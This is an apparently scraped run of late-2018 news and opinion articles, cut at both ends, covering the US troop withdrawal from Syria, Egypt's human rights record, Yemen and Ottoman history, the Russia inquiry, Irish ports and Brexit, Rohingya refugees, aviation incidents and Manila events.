called into being by its cruelty and violence, would one day turn on each other and once again create the conditions for an Isis resurgence. This may now be happening. A Turkish invasion of northern Iraq would lead to chaos, mass flight by millions, and conflict between the local Kurdish and Arab populations: it is in such anarchic conditions that Isis was born and has always flourished. President George W Bush paid a famously heavy political price in 2003 by prematurely claiming mission accomplished. Mr Trump will open himself up to a similar accusation if he declares Isis dead, and buried and this turns out to be untrue. His decision to withdraw has ended the stalemate in Syria, but it will not bring an end to its multiple conflicts. A defence minister has joined a torrent of international condemnation of Donald Trumps claim that Isis has been defeated in Syria to support the withdrawal of troops from the country. Tobias Ellwood said he strongly disagreed with Mr Trumps statement, adding: It [Isis] has morphed into other forms of extremism and the threat is very much alive. Mr Trumps announcement that 2,000 troops would be withdrawn was met with a torrent of condemnation from both analysts and US Republicans, including a group of senators who wrote to Mr Trump asking him to change course. If you decide to follow through with your decision to pull our troops out of Syria, any remnants of Isis in Syria will surely renew and embolden their efforts in the region, they wrote. However, Isis is not the only threat. The brutal dictatorship of Bashar al-Assad continues to weigh heavily upon the Syrian people, and we fear that a withdrawal of our troops may embolden Bashar al-Assad to take further actions to solidify his power. Recommended Trump orders full and immediate withdrawal of US troops from Syria Mr Trump had tweeted: We have defeated Isis in Syria, my only reason for being there during the Trump Presidency. But critics warned that pulling out US troops would be seen as an abandonment of Americas allies in Syria, the Kurdish-led Syrian Democratic Forces, and a boost for Isis. Turkey could also take the opportunity to carry out a threatened invasion of north-eastern Syria, which in turn would distract Kurdish forces from their fight against Isis elsewhere. Republican senator Lindsey Graham, a Trump ally, labelled the pullout disastrous to our own national security and a stain on the honour of the United States. The decision would make Americans around the world and here at home more at risk, not less, he warned. He described the move as a betrayal of US allies in the region. US forces in Syria were necessary to keep Americans safe and were the best hope we have of stopping another 9/11, protecting ourselves and our allies, he said. Im not saying we need to be in Syria for ever. Im saying nows not time to leave, Graham said. The European Parliaments Brexit coordinator, Guy Verhofstadt, tweeted that the decision was a victory for Russia, Iran, Turkey, Turkish proxies & the Syrian regime. He added: Unsurprisingly, it leaves Europeans more vulnerable and shows how wrong it is that we do not have a defence force able to help stabilise our immediate neighbourhood. Joost Hiltermann, Middle East director of the Crisis Group, which aims to prevent deadly conflict, said the decision could be a disaster for the Kurdish forces. Without US support, he said, the Kurds would be left twitching in the wind. Turkey has threatened to push in to the northeast of Syria to step up attacks on the US-backed Kurdish fighters it views as terrorists. Barbara Leaf, former US ambassador to the UAE, said all the conditions for a resurgence of Isis were still in place, predicting that Kurdish troops would have to shift from fighting Isis to self-defence. Syrian Democratic Forces take Raqqa from Isis in pictures Show all 8 1 /8 Syrian Democratic Forces take Raqqa from Isis in pictures Syrian Democratic Forces take Raqqa from Isis in pictures Syrian Democratic Forces fighters celebrate victory in Raqqa atop of military vehicles REUTERS Syrian Democratic Forces take Raqqa from Isis in pictures Fighters of Syrian Democratic Forces march past destroyed buildings as they celebrate victory REUTERS Syrian Democratic Forces take Raqqa from Isis in pictures Fighters of Syrian Democratic Forces gesture the "V" sign in Raqqa REUTERS Syrian Democratic Forces take Raqqa from Isis in pictures Fighters of Syrian Democratic Forces evacuate a civilian from the stadium REUTERS Syrian Democratic Forces take Raqqa from Isis in pictures A civilian prays after she was rescued by fighters of Syrian Democratic Forces from the stadium REUTERS Syrian Democratic Forces take Raqqa from Isis in pictures Syrian Democratic Forces fighters ride atop of military vehicles as they celebrate victory in Raqqa REUTERS Syrian Democratic Forces take Raqqa from Isis in pictures Syrian Democratic Forces fighters celebrate victory in Raqqa REUTERS Syrian Democratic Forces take Raqqa from Isis in pictures A fighter of Syrian Democratic Forces celebrates in Raqqa Reuters The decision also leaves Russia jubilant, she said. Russian troops have not shown their priority is fighting Isis, she said, rather it was fighting Mr Assads opponents. This is astonishing. Appalling. And most importantly, destructive to US national security interests. The fight against Isis isnt over by a long shot, she tweeted. US defence secretary Jim Mattis has previously supported the idea of staying in Syria to ensure Isis does not re-emerge. Support free-thinking journalism and attend Independent events After Mr Trumps comments, White House press secretary Sarah Sanders later said US troops had starting going home. America still has a large US military presence in the region, with 5,200 troops in neighbouring Iraq. A British Airways flight had a near-miss with a Chinese lantern where there was a definite risk of collision, a report has revealed. The lantern came within 100ft of a Saab 2000 high-speed turboprop jet as it was flying at 20,000ft between the Isle of Man and London City Airport on 30 July. The UK Airprox Board, which assesses near-misses involving aircraft, classed the incident as a Category A in its latest report, concluding: the pilots overall account of the incident portrayed a situation where providence had played a major part in the incident and/or a definite risk of collision had existed. The report added that an object resembling a Chinese lantern was seen as it passed down the left side of the aircraft, slightly above. The pilots notified air traffic control of the potential collision, which took place at around 5.30pm. Recommended Drone came within 15m of plane landing at Stansted A British Airways spokesperson told The Independent: The safety of our customers and crew is always our priority. We take such matters extremely seriously and encourage our pilots to report sightings so that the authorities can investigate and take the appropriate action. Most of the Airprox reports concern near-misses with drones, with the number of these happening each year steadily increasing as drone use becomes more common. Since 2014, the number of recorded incidents involving drones and aircraft has risen by 1,850 per cent, going from six near-collisions in a year to 117 in 2018. Virgin Atlantic called for tougher drone regulations in October after it emerged that one of its aircraft was involved in one of the closest ever near-misses to happen in the UK. Support free-thinking journalism and attend Independent events The drone avoided impact with the B787-9 Dreamliner by just 10ft. The Civil Aviation Authority (CAA) said that the incident, which took place on 25 June, was believed to be among the closest times a drone has come to hitting a commercial aircraft in this country. Heading from Delhi, India to London Heathrow airport, the Virgin Atlantic flight was in its descent over Clapham Common when the drone was spotted below its right wing. Its vital that action is taken to regulate the use of drones near airports, and we urge the government to consider further proposals, said a Virgin Atlantic spokesperson at the time. Ryanair has applied to fire its crew in the Netherlands following the closure of its base in Eindhoven last month. The Dutch Traffic Flyers Association (VNV), which represents pilots, said that Ryanair had applied for collective dismissal of its Netherlands-based staff from the UWV, a Dutch employment union. In October, Ryanair announced it would cut its Eindhoven base in November, alongside closing one in Bremen, Germany. At the time, the move was labelled a declaration of war by Arthur van de Hudding, president of Dutch pilots union VNV. Its understood that Ryanair wants its Eindhoven pilots to relocate to foreign bases far away from the Netherlands. According to a statement by union VNV, Ryanair says the dismissal is down to poor economic performance of its Eindhoven base, but VNV argues that these business economic reasons have not been supported by figures from the low-cost airline. VNV added that it was surprised that the UWV was considering Ryanairs request, but that it would support its members. In November, a court judgement ruled that Ryanair could not force its Eindhoven-based crew to move to a foreign base when it was shuttered, and that the airline would need to pay the salaries of those who refused to move. Before the closure of the Eindhoven base, Ryanair had 50 pilots and 150 cabin crew for four aircraft, according to local paper NU. At the end of the summer, around 40,000 passengers were affected by a one-day strike by Ryanair staff across six European countries, including the Netherlands. The walkout by pilots and cabin crew grounded around 250 flights. Ryanair has not responded to The Independent's request for comment. Egypts decision to host its first international weapons fair, which opened earlier this month, was a calculated move. The three-day event represented an attempt by the government to project security and stability to the world after years of turmoil. In his opening address to companies from the US, the UK, France and others, Egyptian defence minister General Mohammed Zaki said as much, calling defence "a pillar of peace". And it has been suggested that, following the mass show trials and death sentences of September, its business as usual in President Abdel Fattah al-Sisis Egypt. But nothing could be further from the truth. Under Sisi, the country continues its downward spiral into paranoia, untamed repression and violence. Since the coup detat in 2013, when Sisi led a coalition to depose President Mohamed Morsi, Egypt has become an "open-air prison", in the words of Amnesty International. The attempted eradication of all forms of dissent has reached levels never before seen in Egypts modern era. There are more than 60,000 political prisoners in Egyptian jails and a blanket ban on demonstrations without prior police approval. Torture, murder and forced disappearance have become everyday tools of the state, and a violent "hidden war" in the Sinai peninsula threatens to bring about a humanitarian crisis on an appalling scale. "Egyptian society," according to political scientist Dalia Fahmy, "is being crushed". Recommended How the Armenian genocide can help us understand a Saudi war in Yemen The stories coming out of Egypt are every bit as harrowing, and every bit as disgraceful, as the account of Jamal Khashoggis murder and dismemberment in Istanbul. As far back as 2017, Human Rights Watch described a "torture epidemic", involving beatings, electric shocks and sometimes rape. Giulio Regeni, the Italian student found dead in Cairo days after the fifth anniversary of 2011 revolution, was beaten, burned and tortured for days. His mutilated body was discarded in a ditch; still, the Egyptian authorities refuse to accept the Italian record of suspects. Since late October, dozens of human rights activists have been arrested, including 19 on a single day in November. As for victims of sexual harassment such as Amal Fathy, they are arrested and imprisoned simply for speaking out in a country where sexual violence is rife. Few escape Sisis clutches; an Egyptian judiciary system turned rotten to the core has given thousands of imprisonment and execution orders since the former generals ascension to power. All political colours are now represented in Egypts overcrowded and filthy jails, where medical treatment is frequently refused. The Swiss human rights organisation Alkarama reported that, between 2013 and September 2015, 323 people died in Egyptian prisons; more recent data is hard to come by, but conditions have almost certainly worsened in the years since. Even prominent figures, such as the former parliamentarian and writer Mostafa al-Naggar, have become invisible and are assumed by many to have been "disappeared" despite strenuous denials and claims to the contrary from the Egyptian state. Former minister of justice Ahmed Solaiman has recently been arrested for criticising the regimes violation for human rights and the biasness of judiciary system. In the eyes of Sisi, anyone who took part, directly or indirectly, in the uprising of 2011 is an enemy of the state, and he has no qualms in telling the foreign media that those imprisoned for political beliefs are criminals. In spite of all this, the West has gone quiet. General Sisi, like the others leaders in the quartet of vile Arab dictatorships allied with the United States, now understands how to silence the West: brazenly putting forward the narrative that he is "fighting terrorism" and bringing stability to the region, he has found a friend in Donald Trump, whose naivete and changeability have already been exploited by the worlds most unpleasant leaders including Vladimir Putin. All the while, the economy continues its collapse into inertia, civil society grows atomised, isolated and alienated, and a future of widespread violence looks increasingly likely. To date, not a single police officer has been held accountable for the beatings and killings since 2011. No one has ever been taken to task for the deaths of more than 1,000 people during the Cairo protests in 2013. The Western powers continue to look away or, in the case of Donald Trump, even praise the violent methods employed by Sisi to consolidate power under the guise of counter-terrorism. Even Italy, which reacted strongly to Regenis killing in 2016, sent a new ambassador to Cairo a year later in an effort to normalise relations between the two nations. But the West should know that conditions in Egypt, which are now worse than ever, will not improve by themselves. Without action, they will continue to worsen. And, like the leaders of the other Arab dictatorships, Sisi will continue his assault on freedom of speech and freedom of expression, and continue to interpret the silence of the West as tacit acceptance that he can do as he pleases. A concerted effort is required to stop stop Sisi's flagrant violation of human rights, his continued attacks on democracy and targeted silencing of all political rivals. Only then will we be able to start to restore security and stability to the region. Yehia Hamed was Egypt's investment minister in 2013. He now focuses on investments in emerging markets and runs the Global South Forum for International and Economic Dialogue I rarely have reason to thank Turkish ambassadors. They tend to hold a different view of the 1915 Armenian holocaust, in which a million and a half Armenian Christians were deliberately murdered in a planned genocide by the Ottoman Turkish regime. Hardship and suffering, they agree, was the Armenians lot. But genocide? Never. Well, thats not the view of genocide scholars including Israeli historians nor of that bravest of Turkish academics, Taner Akcam, who has prowled thorough the Ottoman archives to find the proof. The Armenians did suffer, alas, a genocide. Certainly my gratitude to His Excellency Umit Yalcin, Turkish ambassador to the Court of St James, is not for his letter to me, in which he describes the Armenian genocide as a one-sided narrative. But he did enclose a small book, published five years ago by Edward Erickson, whose contents obfuscate the details of the mass slaughter of the Armenians, even daring to suggest that the Ottoman strategy of population relocation should be seen in the contemporary setting of Britains policy of relocating civilians in the Boer War (in concentration camps) in South Africa, and by the Americans in the Philippines. Interesting. But we didnt mass rape the Boer women, burn their children and drown Boer men in rivers. Erickson was an American army colonel and is now professor of military history at the Marine Corps University in Virginia. He insists that there was a widespread Armenian insurgency at the time of the killings. A fine Kurdish scholar has described his book Ottomans and Armenians: A Study in Counterinsurgency as rich in sources, but insists that these sources are distorted. Akcam himself says that even if Ericksons contention that there was a real Armenian insurgency in Turkey (which Akcam disputes) was true, this would only explain why the genocide happened not why it never occurred! But what fascinated me in Ericksons book was a chapter which probably held little interest for Ambassador Yalcin but which should be both grim and prescient for Crown Prince Mohammad bin Salman of Saudi Arabia. This chapter is contained in a mere eight pages. But it describes a continuous, costly, bloody and hopeless war between the Zaidi tribes of Yemen and the Turkish Ottoman forces loyal to Constantinople in the late 19th and early 20th centuries. The Houthis of present-day Yemeni military history belong to the Shia Zaidi, a branch of the Shia imamiyah of Iran. And the Zaidis, in their battle against the Ottomans, acquired new and sophisticated weapons. The Ottomans attacked a port called Hodeida. There was famine across the land. Does this sound rather familiar? And bad news for the Saudis who as near as history would permit these days are now playing the role of the Ottomans slightly over a century ago, trying to suppress a local Shia rebellion in their sphere of interest with the most expensive of weapons and the most costly of training that money can buy; and with the hubris of an Ottoman power which thought it wielded the strongest military force in the Middle East. By now, I think that Ambassador Yalcin probably realises just why I really am grateful to him for sending me this book. Even more so when I add that the Ottomans were forced to end their wars in Yemen with what now faces the regions leading Saudi warlord: a negotiated settlement. Historical precedents are never exact. Unlike the Saudis, the Ottomans had no major power to support them in their Yemeni adventures. And of course, they had no air force. The Zaidis were closer to their Sunni co-religionists than the Saudis might accept today. Over centuries, they prayed in the same mosques. But the story of a large and cumbersome Ottoman army floundering around the deserts and mountains of Yemen, pursuing tough and resilient rebels while other major wars loom far to the north has a frightening contemporary relevance. The ruthless Ottoman military governor Feyzi Pasha suppressed a Yemeni rebellion by Imam an-Mansur in the late 19th century with modern counterinsurgency tactics with small columns of men and what Erickson calls devastating European-style firepower superiority. But the Turks ran out of money to improve the lives of Yemenis. By the early 20th century, Ottoman control was vested in a small 18,000-strong army headquartered in Sanaa. Another rural rebellion began in 1904 under the imams son, and within a month the Zaidis had blocked the road between Sanaa and the port of Hodeida. Telegraph wires were cut, caravans suspended and Sanaa put under siege. The rebels themselves had acquired new magazine-fed military rifles. The Ottomans brought in more troops from around the empire from Macedonia, Albania and, interestingly, Arab units from Syria. Ottoman reinforcements under Riza Pasha were repeatedly ambushed by the rebels. Turkish morale collapsed. Some of the Arabs in the Ottoman army turned out to be sympathetic to the Zaidi rebels could they, perhaps, have been Shiite or Alawite Syrians? We do not know. Thousands more troops arrived to crush the rebellion, but Sanaa was already lost. Then the Ottomans needed to withdraw many of their troops for other campaigns within the empire. As Erickson writes, the campaign turned into a quagmire for the Ottoman Empire and the Syrian units of the expeditionary force began to mutiny. Out of 110,000 Ottoman soldiers, casualties stood at more than 25,000 by 1905. Turkeys Yemen war turned into a history of ceasefires and negotiated truces while the Turkish Ottoman army had to be reformed in order to survive, with a new officer corps and an end to patronage not dissimilar to princely patronage in the present-day Saudi military. But the Ottomans were unable to crush yet another insurrection which only ended in 1912. And within two years, the First World War distracted and then ultimately destroyed the entire Ottoman Empire. Thus while the Ottomans remained an imperial power at the end of their Yemen war, their prestige and morale had drained away in this outpost of empire. They squandered their resources in annihilating the Armenians in 1915 and finally collapsed before Allenbys advancing armies in 1918. No, history is not exact. Once the British-supported Arab Revolt began in 1916, for example, Yemen was effectively cut off from its notional Ottoman masters. The future empire in the Arabian Peninsula would be controlled first by the Hashemites and then by the House of Saud. Which brings us back to Saudi Arabia and its own self-destructive, useless war with the rebels of Yemen, the descendants of those same Zaidi tribes which so humiliated the Ottomans. It was Mohammad bin Salman who launched this conflict which is supposed to protect the Sunni world from the Shiites of Iran and its allies and he will be held responsible for its disasters. He has allowed the United Arab Emirates to do the fighting on the ground. What we do not know and what the west does not want to know and does not ask about is the effect of this disastrous campaign on the armies of Saudi Arabia and the Emirates. Justin Trudeau looking to cancel arms deal with Saudi Arabia While the Saudi crown prince now fritters away his time trying to salvage his own personal prestige from the disgrace of the Khashoggi murder, what are his generals thinking about their military prestige? The Saudi National Guard, the kings private army, and the Saudi armed forces all, of course, loyal, trustworthy, patriotic chaps, so we are told can only be deeply upset at the course of the Yemeni war. If the Ottomans could be humiliated by Yemeni rebels, have not the Houthis shamed and humbled the armed forces of Saudi Arabia? What do the warriors in the Royal Saudi Air Force think after firing their bombs and missiles at the puny forces of Houthistan when their enemies are now negotiating a peace in a Swedish town called Rimbo? If the Ottomans had to reform their army, what is to be done with the Saudi military? The crown prince thinks he can reform his kingdoms economy. But his soldiers may have to reform themselves. An end to patronage, perhaps? A new officer corps? Now theres an Ottoman precedent to bear in mind. Could the crown prince survive that? I dont trust Ericksons analysis of the Armenian genocide. Nor that of the Turkish ambassador to the Court of Saint James. But I thank them both for the ideas that a small book on the Ottomans contains about Yemen. Maybe it should be essential reading in Saudi military colleges. In the King Abdul Aziz Military Academy and the King Khalid Military Academy, perhaps. More to the point, this book might be made available to students in the library of the King Faisal Air Academy, where the countrys young fighter pilots and weapons directors are trained. They, after all, are the tungsten tip of the crown princes war in Yemen. Dont they have any thoughts of their own? In a surprise seasonal gift to his supporters, Donald Trump has declared victory in Syria and ordered all remaining US ground troops home. On the plus side, he is honouring his campaign pledge to keep America out of foreign wars. But there is a downside: he is effectively recognising that Bashar al-Assad has won, and the US and UK-backed rebels have lost. This is not how it is being spun, of course. Trump justified the withdrawal by saying that the Islamic State group was now defeated so job done, and that is more or less true. But his decision risks Turkey declaring open season on US-backed Kurdish forces and leaves the UK embarrassingly adrift in Syria policy. A (quiet) UK disengagement can probably be expected in days. Trumps rethink on Syria, however, is not a one-off. It is actually a return to his instincts, after he was pressured by his top brass into agreeing that US troops needed to stay to curb Russian and Iranian influence. And it is part of a wholesale redrawing of US foreign policy that is getting scant recognition, either in the US or abroad. Indeed, both the real debits and the real credits of Trumps first two years are being widely missed, for one reason, and one reason alone: the distorting effects of the Russia inquiry, which continues to preoccupy Washington. Eighteen months after he was appointed, Robert Mueller, the special counsel, is still beavering away on his investigation into Trumps alleged links with the Kremlin and whether he colluded with Russia to snatch the presidency from Hillary Clinton. Recommended Trump orders full and immediate withdrawal of US troops from Syria While Mueller has produced a list of indictments and one person Trumps one-time campaign manager, Paul Manafort has been sentenced, no evidence has yet emerged that demonstrates any Kremlin intent to put Trump in the White House, still less any evidence of collusion. Manafort was sentenced for tax evasion and money laundering crimes that might be said to be all in a days work for many a professional lobbyist. There was no mention of Russia. Michael Flynn, who was briefly Trumps national security adviser, has just had his sentencing postponed, after admitting he lied about meeting a Russian diplomat and working with lobbyists (for Turkey) without registering himself as a foreign agent. (This provision, by the way, is something that Russia introduced on to its statute book to near universal western condemnation a few years ago, with nary a mention that it was actually modelled on requirements in the US.) Ah yes, you may ask, but what about all the evidence that Russia exploited social media in a concerted attempt to sway US voters away from Clinton and towards Trump? Have not two more reports in recent days, one from no less an authority than Oxford University, charted massive Russian attempts at manipulation? Well, no, actually, not massive at all in the context of the social media. Nor very sophisticated. One astute observer (Aaron Mate in Nation magazine) described the Internet Research Agency, the organisation supposedly masterminding the fixing of the US election, as a Russian clickbait firm posting juvenile social media content mostly unrelated to the election. Others have found its motives to be less political than financial. Something similar applies to Russian diplomats efforts on the social media. Notching up followers pleases bosses who see numbers as a gauge of influence and reach, even though they may be nothing of the kind. As for reports that Trump was negotiating to build a Trump tower in Moscow. Well yes, as a businessman who does that sort of thing, he may well have been. But even Chris Steele (ex-MI6) in his infamous dossier (remember, prostitutes, golden showers etc) had to admit that Trump had not actually concluded any business deals in Russia. No deals equals no money, equals no Kremlin hold over Trump. Now it may be that Mueller still has something up his sleeve, and maybe Democrats will eventually get their Russia-related impeachment. But it does not look promising the venerable news-hound, Bob Woodward, says he unearthed nothing while researching for his latest book. What is more, by staking so much on their theory of Kremlin collusion, Trumps adversaries may be ignoring his real vulnerabilities. One would be women though voters seem already to have factored in his bad behaviour here. A much bigger problem could be money: less the technical matter of hush-money running up against campaign finance regulation, than ethics and legality in business. If anything is going to bring Trump down, follow the money might be the best advice. In shutting down his charitable foundation, which was not a typical Trump move, he was as good as conceding a certain vulnerability here. But the smothering focus on supposed Russian electoral interference has had another effect, which is to obscure what Trump has actually achieved in foreign policy and the pattern that is emerging. How often have you heard someone an expert even say that while they mostly dont agree with Trump, on this one particular topic they know about, he might just have a point. Put all those instances together, and a body of achievement emerges. But first you have to exclude Russia. On this one campaign pledge to try to improve relations with Moscow Trump has failed, or rather he has been thwarted by vested interests in Washington. Elsewhere, though, his realist intentions are winning through. He took a risk on meeting North Koreas leader, Kim Jong-un. And the result, despite setbacks here and there, has been a defusion of tension and a galvanising of diplomacy across the whole of north-east Asia. Support free-thinking journalism and attend Independent events In the Middle East, Trump has pleased Israel by transferring the US embassy to Jerusalem and reinstating sanctions on Iran. The fall-out from this is as yet unclear. He was condemned for his arch-realist response to the murder of Jamal Khashoggi by Saudi agents in Istanbul. But in underlining US commercial interests, he did no more than say what others (the UK) dont say, but do. What is more, he exacted a price. Would there now be talks and a partial ceasefire in Yemen without US pressure, post-Khashoggi, on Saudi Arabia? I doubt it. Above all, Trump has been proactive towards China as no previous president has. The US congress has long been hawkish in its concerns about Chinas growing power, but this was not translated into official policy. In pursuit of fairer trade with China, Trump has played the sort of hardball others have lacked the power and/or the will to do. Trump also wants a new military command for space Space Force for which future US presidents, given Chinas open ambitions, may thank him. In short, Russia aside, Trump is pursuing the foreign policy he said he would, and the foreign policy Americans voted for. It may not be to our advantage in Europe or to our taste but it is for us to decide on our response. The pity is that, with the fog of Russia-gate shrouding so much in Washington, the true strengths and weaknesses of the Trump presidency are rarely seen for what they are. Lets hope the fog lifts well before the next election, so the Trump balance sheet is clear. In the eye of a storm: Glenn Carr, Rosslare Europort manager, pictured in front of the WB Yeats ferry at Rosslare yesterday. Photo: Colin O'Riordan In terms of company public relations - not to mention community good relationships - it all but verged on the callous. Just a day after Irish Ferries announced it was to axe its popular Rosslare to France sailings next summer, the company sent out another press release. With great fanfare, it announced the arrival of the WB Yeats - the very ship that had been planned to operate out of Rosslare - into Dublin today. It advised a number of vantage points along Dublin Bay from which people could view this "magnificent ship". In the meantime, the WB Yeats itself sat loftily in Rosslare Europort, performing berthing trials. The tossing waves and deserted ferry terminal cut a sharp contrast to the bustle of the summer, with its endless lines of cars, motorhomes and motorbikes. Amid the glittering seas and the unaccustomed heatwave, it had been hard to know where France stopped and Rosslare began. Expand Close Vivienne Naessens of the Europort Coffee Dock. Photo: Colin O'Riordan / Facebook Twitter Email Whatsapp Vivienne Naessens of the Europort Coffee Dock. Photo: Colin O'Riordan But at the terminal coffee dock, Vivienne Naessens admits she is worried. She doesn't know how Irish Ferries arrived at their decision but claims they did not do it by asking their customers. "A lot of people are regulars at this stage - bikers from Germany and people from France who love the Irish countryside and they want to go to rural Ireland and to the West," she said. Only last summer, she opened a second coffee hut in the car park and it was going well. Expand Close Derval Dunne and Breeda Kavanagh of Culletons, Kilrane, Rosslare. Photo: Colin O'Riordan / Facebook Twitter Email Whatsapp Derval Dunne and Breeda Kavanagh of Culletons, Kilrane, Rosslare. Photo: Colin O'Riordan Now she has no idea how things will go next summer. "There'll be nothing sailing from Rosslare from 8.45am until 6.10pm, except for Saturday morning when the Stena sailing goes to France," she said. In Culletons Bar in Kilrane, Derval Dunne is similarly concerned. Her best business is from French visitors who spend good money on food. "They love our seafood, our fish - they have all the courses. They drink the wine," she said. But Glenn Carr, general manager of Rosslare Europort, is more stoutly optimistic. Though "disappointed" by Irish Ferries' decision, he believes far better times lie ahead for the port. "It won't take away from our future plans for the port," he said, adding they hope to grow it by 20pc over the next few years and they have advertised for a business, recruiting and sales manager to attract new shipping lines. He says the market is taking stock of Brexit and what impact it will have. New facilities will be critical - and Rosslare may become a border inspection post. "We're hoping for a gap in the market," he admitted. But local man Billy Roche, who owns the Tuskar House Hotel and the Ferryport House Hotel in Rosslare Harbour, believes it is not enough. He blames Rosslare's decline in recent years on a bewildering lack of political appreciation for all the port and local area had to offer: "What's going on here is criminal. We're the gateway to Europe." He claimed people are talking about "putting on yellow vests" to vent their frustrations and to get the authorities to finally do something to help. "If people aren't getting something done the political way, they'll try something else," he said. Up the town, in the quaint Breeches Buoy Apparatus house, the local environment group are having their last meeting of the year. They talk about the sad decline of Rosslare, where so many fine old hotels are now shuttered. Of the dockside jobs certain to be lost, of the lack of appreciation for Rosslare as a non-tidal port when Brexit could be such a game-changer. "It's frustrating. There are opportunities not being availed of here," said Vincent Kennedy. "We could become a duty-free port but there is no political goodwill." Danger: MII warned it is inevitable that producer prices will fall as a direct result of the loss of UK market share. Irish meat processors have issued a warning of the "catastrophic" impact a no-deal Brexit would have on the sector. In a document submitted to members of the Oireachtas Agriculture Committee, Meat Industry Ireland (MII) warned of a hard Brexit and the potential imposition of very high tariffs on trade with the UK. This, together with additional transport costs, delays at borders, disruptions to logistics, as well as unforeseen threats arising from potential regulatory divergence, will present a massive challenge for the sector. "A no-deal (hard) Brexit outcome would be catastrophic for Irish agriculture and our food export business," the organisation said. "The impact on EU markets will be immediate, with surplus product being exported onto already well-supplied markets resulting in a price collapse." MII warned it is inevitable that producer prices will fall as a direct result of the loss of UK market share. "In an oversupplied market of the scale envisaged, processing companies will quickly examine and respond to the new market circumstances while taking steps to bring operational capability into line with new market realities. "With a sudden and significant reduction in access to the UK market, plant closures or restricted operations should be anticipated," it added. Furthermore, it warned that there is a real and present danger of the UK concluding trade arrangements with other international suppliers, which would result in Ireland's strong position as a dominant player in the UK market being permanently damaged. The Oireachtas Agriculture Committee has recommended that physical customs infrastructure be developed to ensure there is no disruption to the current smooth flow of goods and that consideration be given to supplementing CAP funding from the Exchequer for the proposed CAP 2020. MII said a hard-Brexit scenario will necessitate the introduction of an array of EU crisis measures, which would be needed quickly and of necessity to remain in place until the EU market disturbance has been stabilised over the medium term. Such measures should include supports that remain as options in EU legislation, but have seldom been used since the 2003 CAP reform. Land-bridge Meanwhile, it said the Irish meat industry sends in the region of 320 refrigerated trucks of meat to continental EU markets from Sweden in the north to Italy in the south. "Approximately 11pc of these trucks are shipped directly from Ireland to an EU port. The clear majority, 89pc, of consignments use the UK transit land-bridge. "The risk of losing the land-bridge as the main means of transit would carry enormous risks, distinct and separate from the fact that alternative routes would take time to be properly developed and involve significant infrastructural adjustments. "It would result in increased costs, longer journey times to market, reduced shelf-life, increased stock carrying requirements and serious disruption to a just-in-time fresh food delivery system that has evolved over the years and which is crucial to holding onto customers," it said. ABC News(BHASAN CHAR, Bangladesh) -- Miles off the coast of Bangladesh, deep within the Bay of Bengal, is a low-lying, flood-prone island that the Bangladeshi government hopes to be the new home for the hundreds of thousands of Rohingya refugees who fled violence in neighboring Myanmar. Its called Bhasan Char, which translates to "floating island." Few have been allowed to see the island up close but "Nightline" traveled there with construction workers who are building structures that will eventually hold up to 100,000 Rohingya. Bhasan Char is more than two hours away from the nearest inhabited island and 24 miles from the Bangladesh mainland. Bangladeshs decision to move the Rohingya there has become controversial due to its remote location, potential isolation and concerns of extreme flooding from monsoons. Through traveling with construction workers, "Nightline" was able to visit some of the structures that are being built on the island. There was row after row of red-roofed buildings containing sleeping quarters with bunk beds, where the workers said it would be four Rohingya to a room. A watchtower overlooked the complex, which is surrounded by a man-made canal. But many of the Rohingya refugees told Woodruff that, having already fled one place, they do not want to be moved again, especially to the place that some activists are calling a "prison island." The Rohingya are an ethnic Muslim minority who have been forced to flee from their homes in Myanmar, also known as Burma, to escape horrific violence against them there. The United Nations has since called their persecution textbook ethnic cleansing by the mostly Buddhist Myanmar army. Its estimated that nearly 10,000 Rohingya have been killed, according to a recent UN-backed report. The report details gang rapes, the torching of hundreds of villages and enslavement of Rohingya communities at the hands of Myanmars military. UN investigators have called it genocide. In October, Myanmar and Bangladesh signed a deal to start repatriating some of the over 723,000 Rohingya refugees, but the UN, the United States, and 42 humanitarian and civil society groups raised concerns that the deal would repatriate Rohingya refugees, possibly without their consent, and send them back to dangerous conditions. As of August, there are approximately 919,000 Rohingya refugees in Bangladesh. Most currently reside in camps along the countrys southern border, according to Doctors Without Borders. Now with refugees outnumbering the local Bangladeshi population, the Bangladeshi government has been looking for a solution and began working on turning Bhasan Char into a home for them. But many of the Rohingya "Nightline" spoke with now living in Bangladesh, already victimized once, say they do not want to be moved to that island. "I came to Bangladesh to save my life. I didnt come here to eat or stay. We want the international community to punish the Burmese and send us back," said Klas Ahmad, a refugee living in one of the camps. "If we get sent to the island, the Myanmar government might bomb the island and we wont have graves. At least if I die here I will get a grave." "I want to go back to my country," said another refugee. "I dont want to be in this country and I certainly dont want to go to that island." However, some of the construction workers working at Bhasan Char suggested that it the living conditions on the island are better than the harsh conditions of the camps. "People like us who dont have proper houses, of course we would want a place like this," said one worker, who lives on a neighboring island. "We havent got anything," said another worker. "The island we come from keeps breaking." Bangladeshs government has defended its plan to relocate the refugees. "The island is something else," Bangladeshs Foreign Minister Abdul Hassan Mahmud told ABCs Bob Woodruff in an exclusive interview. "If it takes longer, then we have to do something because the camps are quite difficult to run also." The plan has since been widely denounced, so, for now, the Bangladeshi government has postponed the move. "Nightline" has documented the plight of the Rohingya for the past three years. Last year, Woodruff traveled to Bangladesh as hundreds of thousands of Rohingya fled across the border in Myanmar. But as the camps became overpopulated, security inside has become an increasing concern. One of the refugees, Kalim Ullah, is among a group of volunteers who patrols the camps for protection and said one day he and his neighbors awoke to find their camp on fire. "The fire started at 2:30 in the morning," said Kalim. "Around 30 families lived in this part and it took 20 to 30 minutes for it to all be burnt down to the ground. We had to run and could not take any of our possessions." Women are often among the most vulnerable. Dr. Sadia Afroze, who works at a barebones womens health clinic inside one of the refugee camps, told "Nightline" that she has had to perform an increasing number of abortions many of them for rape victims. "They may survive but their lifestyles are not that much good with a pregnancy or a child so in that case, we save a life by giving the services," Afroze. Afroze says her clinic has also delivered hundreds of babies. The World Health Organization expects 60,000 children to be born in the camps this year alone. Despite the dangers in the camps, some refugees said they would rather choose death than face the prospect of being repatriated to Myanmar. "If we are forced to go we will commit suicide by drinking poison, said one refugee named Alam. We have already collected poison. Otherwise the government of Bangladesh has to shoot us dead." Copyright 2018, ABC Radio. All rights reserved. Manila (CNN Philippines Life) This weekend, enjoy a gig by LaCrema and Tarsius, head to Poblacion for a holiday party with music, drinks, and prizes, party on the streets of Manila, join a free concert to help save a ride-hailing app, visit a workers camp for a potluck lunch, and celebrate the eight-year anniversary of an annual reggae party. #SaveAngkas Thanksgiving Concert On Dec. 12, the Supreme Court issued a temporary restraining order against an injunction that disallowed the LTFRB from apprehending the riders of motorcycle ride-hailing app Angkas. Both riders and users of the app have called for the lifting of this order, with petitions circulating online. On Saturday, Dec. 22, enjoy a free thanksgiving concert called 